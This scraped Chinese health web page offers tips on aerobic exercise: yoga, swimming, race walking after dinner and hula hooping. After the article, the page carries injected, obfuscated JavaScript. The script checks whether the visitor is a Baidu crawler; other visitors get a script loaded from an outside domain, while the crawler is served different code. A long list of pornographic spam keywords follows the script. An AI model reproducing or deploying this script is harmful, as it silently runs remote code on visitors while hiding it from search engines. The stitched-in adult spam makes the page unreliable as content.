當(dāng)前位置:首頁 > 健康 > 運(yùn)動(dòng)健身 > 正文

有氧運(yùn)動(dòng)的最佳強(qiáng)度及方法

2017-04-14 19:26:53  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:每天適當(dāng)?shù)倪M(jìn)行一些有氧運(yùn)動(dòng)可以有效的增強(qiáng)我們自身的身體素質(zhì),有氧運(yùn)動(dòng)對(duì)于我們身體好處是非常多的,我們也可以適當(dāng)?shù)淖鲆恍┯醒踹\(yùn)動(dòng),這

每天適當(dāng)?shù)倪M(jìn)行一些有氧運(yùn)動(dòng)可以有效的增強(qiáng)我們自身的身體素質(zhì),有氧運(yùn)動(dòng)對(duì)于我們身體好處是非常多的,我們也可以適當(dāng)?shù)淖鲆恍┯醒踹\(yùn)動(dòng),這樣可以減少我們出現(xiàn)疾病的幾率,可能我們大家很多人對(duì)于有氧運(yùn)動(dòng)的最佳強(qiáng)度還沒有一個(gè)清晰的認(rèn)識(shí),下面就讓我們一起來了解一下有氧運(yùn)動(dòng)的最佳強(qiáng)度及方法吧。

1.瑜伽法

對(duì)初學(xué)者來說,這種古老的鍛練身體方法,可能較為復(fù)雜及神秘,但如果適當(dāng)練習(xí),每星期做3~4次瑜珈,會(huì)對(duì)你的身體有莫大的好處,包括強(qiáng)健肌肉,增加靈活性、改善姿態(tài)及保持體態(tài)苗條。

2.游泳

游泳時(shí)在水中行走,增加身體的阻力。如何快速減肥不反彈美國(guó)運(yùn)動(dòng)心理學(xué)專家提出了一種運(yùn)動(dòng),并給這種運(yùn)動(dòng)起了一個(gè)有趣的名字,叫做“在泥濘中沖浪”,這個(gè)方法聽起來很容易做到,但嘗試之后就會(huì)發(fā)現(xiàn),要完成這項(xiàng)運(yùn)動(dòng),付出的艱辛遠(yuǎn)遠(yuǎn)多于通常的那些健身方法,因?yàn)槿梭w在水中受到的阻力是在空氣中的12-15倍。可以讓身體消耗更多的熱量。

3.飯后競(jìng)走

晚飯一小時(shí)以后競(jìng)走,很多人都知道跑步是有效的減肥方法,但是有一個(gè)人能堅(jiān)持那,一般人都很難堅(jiān)持,那么不妨用競(jìng)走來代替慢跑,競(jìng)走也是有技巧的,大家不要把他當(dāng)成是散步,散步的減肥效果是有限的,競(jìng)走的速度其實(shí)可以等同慢跑,而他減肥的效果確實(shí)比慢跑還好

4.轉(zhuǎn)呼啦圈

轉(zhuǎn)呼啦圈可是消耗脂肪和卡路里的一大攻略。你可以選擇一個(gè)成人尺寸的呼啦圈(它們的質(zhì)量和尺寸比孩子用的大些,這樣就比較容易旋轉(zhuǎn)了)。呼啦圈可以到你的胸部那么這個(gè)尺寸就剛合適。

不需要變著花樣轉(zhuǎn),保持在腰間轉(zhuǎn)動(dòng)呼啦圈就可以了。開始時(shí),雙腳前后站著,把身體的重量前后甩動(dòng)(與繞圈甩動(dòng)不同)。第一次沒做到很好也不用擔(dān)心,你依然在消耗卡路里,何況每次轉(zhuǎn)動(dòng)時(shí)會(huì)越發(fā)熟練。

以上內(nèi)容為我們介紹了有氧運(yùn)動(dòng)的最佳強(qiáng)度及方法,相信大家對(duì)此都已經(jīng)有了一個(gè)更為清晰的認(rèn)識(shí)了,我們每個(gè)人都應(yīng)該在日常生活中進(jìn)行一些必要的鍛煉,有氧運(yùn)動(dòng)時(shí)一個(gè)非常不錯(cuò)的選擇,我們一定要在以后的生活中多加鍛煉。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品乱码久久久久久夜夜嗨| 99精品一区二区三区无码吞精| 国产麻传媒精品国产AV| 国产精品亚洲A∨天堂不卡| 含羞草国产亚洲精品岁国产精品| 好属妞这里只有精品久久| 国产精品成人四虎免费视频| 亚洲国产综合第一精品小说| 久久亚洲中文字幕精品一区四 | 精品久久久久久成人AV| 国产区精品高清在线观看| 人妻熟妇乱又伦精品HD| 精品一区二区三区无码免费视频| 精品国产香蕉伊思人在线在线亚洲一区二区 | 亚洲精品高清久久| 久久久91人妻无码精品蜜桃HD| 校园春色国产精品| 2021精品国产综合久久| 午夜精品福利视频| 国产亚洲精品a在线观看| 国产在线麻豆精品| 精品无码人妻一区二区三区18| 2021国产精品久久| 久久久久久国产精品mv| 国产成人精品三上悠亚久久 | 亚洲欧洲久久久精品| 久久久一本精品99久久精品66直播| 久久精品国产亚洲av水果派| 九九热在线视频观看这里只有精品| 国产精品片在线观看手机版| 精品免费久久久久久成人影院| 亚洲午夜精品一区二区麻豆| 亚洲精品中文字幕麻豆| 日本aⅴ精品中文字幕| 久久精品国产91久久综合麻豆自制| 久99精品视频在线观看婷亚洲片国产一区一级在线 | 久久99精品福利久久久| 免费视频精品一区二区三区| 国内精品视频在线观看| 国内精品99亚洲免费高清| 500av大全导航精品|